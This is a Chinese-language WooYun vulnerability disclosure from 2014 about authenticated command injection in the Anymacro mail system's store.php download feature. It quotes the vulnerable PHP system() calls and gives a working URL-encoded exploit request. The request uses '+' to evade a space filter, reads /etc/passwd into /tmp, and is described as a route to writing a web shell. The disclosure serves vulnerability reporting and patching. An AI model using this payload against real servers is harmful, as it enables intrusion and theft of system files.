当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061216

漏洞标题:Anymacro 邮件系统多处远程命令注入漏洞(需要登陆)

相关厂商:北京安宁创新网络科技有限公司

漏洞作者: 路人甲

提交时间:2014-05-17 23:56

修复时间:2014-08-15 23:58

公开时间:2014-08-15 23:58

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-17: 细节已通知厂商并且等待厂商处理中
2014-05-18: 厂商已经确认,细节仅向厂商公开
2014-05-21: 细节向第三方安全合作伙伴开放
2014-07-12: 细节向核心白帽子及相关领域专家公开
2014-07-22: 细节向普通白帽子公开
2014-08-01: 细节向实习白帽子公开
2014-08-15: 细节向公众公开

简要描述:

详细说明:


乌云已经把它列入到通用型奖励厂商当中了。
0x01 背景
AnyMacro(安宁)成立于1999年,是国内领先的统一消息/移动门户/PushMail产品与应用解决方案提供商。主要客户涵盖国家部委、大型企业以及部分海外客户,客户分布于政府、军工、金融、电信、能源、教育等行业。 AnyMacro在技术创新和关键应用中一直处于行业领先地位,在全球首家提出并实现LAMP架构邮件/消息系统已成为事实的行业标准。AnyMacro 具有统一消息/移动门户/PushMail领域的全线技术与自主知识产权,还是多家国际Linux厂商的OEM邮件/消息产品提供商。
0x02 漏洞分析:
由于该邮件系统多处由于调用system()函数,并且由于未做充分考虑。。导致攻击者可以绕过限制,将构造好的命令字符串直接达到命令执行(可写shell,可执行系统命令,可控制整个服务器)。
具体分析如下:
在根目录下store.php中

//下载文件或者目录操作的模块
….//省略若干代码
if ( !empty($_REQUEST['F_down']) ) {
$result = array();
if ( !isset($_REQUEST['F_file']) || count($_REQUEST['F_file']) == 0 || strpos($_REQUEST['F_tarname'], ' ') !== false ) {
dieStore_tpl('1', $MSG['VAR_IS_NULL']);
}
//得到需要压缩的文件列表
$file = array();
$sql = "SELECT name FROM indexinfo WHERE id IN (".implode(",", $_REQUEST['F_file']).")";
$rs = sqlite3_query($sql_id, $sql);
if ( !$rs ) {
dieStore_tpl('1', $MSG['VAR_IS_NULL']);
}
while ( $row = sqlite3_fetch_array($rs) ) {
if ( !file_exists("$store_dir/".$row['name']) ) {
continue;
}
$file[] = $row['name'];
}
sqlite3_query_close($rs);
if ( count($file) == 0 ) {
dieStore_tpl('1', $MSG['VAR_IS_NULL']);
}
if ( !empty($_REQUEST['F_type']) ) {
$filestr = "";
$filestr = "\"".implode("\" \"", $file)."\"";

$tmpdir = $SESSION['maildir']."/tmp";
$filename = urldecode($_REQUEST['F_tarname']);
if ( $_REQUEST['F_type'] == 'zip' ) {
system("cd $store_dir; zip -r \"$tmpdir/$filename\" $filestr 2>&1 > /dev/null");
// header("Content-Type: application/zip");
} else if ( $_REQUEST['F_type'] == 'tgz' ) {
system("tar cfz \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null");
// header("Content-Type: application/x-tar");
// header("Content-Encoding: gzip");
} else if ( $_REQUEST['F_type'] == 'tar' ) {
system("tar cf \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null ");
// header("Content-Type: application/x-tar");
} else if ( $_REQUEST['F_type'] == 'bz2' ) {
system("tar cfj \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null ");
…..//省略若干代码


其中

if ( !empty($_REQUEST['F_down']) ) { //当变量F_down不为空的情况下,可设置为1
$result = array();
if ( !isset($_REQUEST['F_file']) || count($_REQUEST['F_file']) == 0 || strpos($_REQUEST['F_tarname'], ' ') !== false ) { // F_file不为空,并且为数组。。这里的$_REQUEST['F_tarname']为绕过的关键,他里面必须不能带空格。
dieStore_tpl('1', $MSG['VAR_IS_NULL']);
}


接下来分析

$filename = urldecode($_REQUEST['F_tarname']);  //这里url解码一下
if ( $_REQUEST['F_type'] == 'zip' ) {
system("cd $store_dir; zip -r \"$tmpdir/$filename\" $filestr 2>&1 > /dev/null");
// header("Content-Type: application/zip");
} else if ( $_REQUEST['F_type'] == 'tgz' ) {
system("tar cfz \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null"); //漏洞点 其中$filename是可控的。。 $tmpdir为之前配置好的,无需关注。所以这里将可命令注入漏洞
// header("Content-Type: application/x-tar");


0x03 exploit分析
Exploit构造,前面我们可知$_REQUEST['F_tarname'] 可控,(但是需要注意的是前面空格做了限制)
我们可以构造如下攻击包。。。
store.php?F_sid=9ead95a11698fb7a1302dbbc6d730ad1&F_down=1&F_tarname=fuck.tar" /etc/passwd |echo 13111 > /tmp/test.txt||"
但是前面我们提过,不能要空格,有什么方法绕过呢?。。。。
其实+可以替代我们的空格的,顾我们可以绕过,直接执行系统命令了。。如
fuck.tar"+/etc/passwd+|cat+/etc/passwd+>+/tmp/test.txt||"
然后urlencode一下
/store.php?F_sid=9ead95a11698fb7a1302dbbc6d730ad1&F_down=1&F_tarname=fuck.tar%22%2B%2Fetc%2Fpasswd%2B%7Ccat%2B%2Fetc%2Fpasswd%2B%3E%2B%2Ftmp%2Ftest.txt%7C%7C%22&F_type=tgz&F_file[]=
即可将passwd 写到/tmp/目录下test.txt中

5987K$PN4ZK$W7{$Q0}CI]2.jpg


2.jpg


然后写shell了

2.jpg


其中在simple/store.php同样存在该问题

if ( !empty($_REQUEST['F_type']) ) {
$filestr = "";
$filestr = "\"".implode("\" \"", $file)."\"";

$tmpdir = $SESSION['maildir']."/tmp";
$filename = urldecode($_REQUEST['F_tarname']);
if ( $_REQUEST['F_type'] == 'zip' ) {
system("cd $store_dir; zip -r \"$tmpdir/$filename\" $filestr 2>&1 > /dev/null");
// header("Content-Type: application/zip");
} else if ( $_REQUEST['F_type'] == 'tgz' ) {
system("tar cfz \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null");
// header("Content-Type: application/x-tar");
// header("Content-Encoding: gzip");
} else if ( $_REQUEST['F_type'] == 'tar' ) {
system("tar cf \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null ");
// header("Content-Type: application/x-tar");
} else if ( $_REQUEST['F_type'] == 'bz2' ) {
system("tar cfj \"$tmpdir/$filename\" -C \"$store_dir\" $filestr 2>/dev/null ");
// header("Content-Type: application/x-bzip2");
} else {
dieStore_tpl('1', $MSG['NOT_COMPRESS_FORMAT']);
}

漏洞证明:

2.jpg


然后写shell了

2.jpg


修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-05-18 13:24

厂商回复:

此版本为我公司G6版本,现在使用比较少。已经推出升级包,联系用户升级处理

最新状态:

暂无


漏洞评价:

评论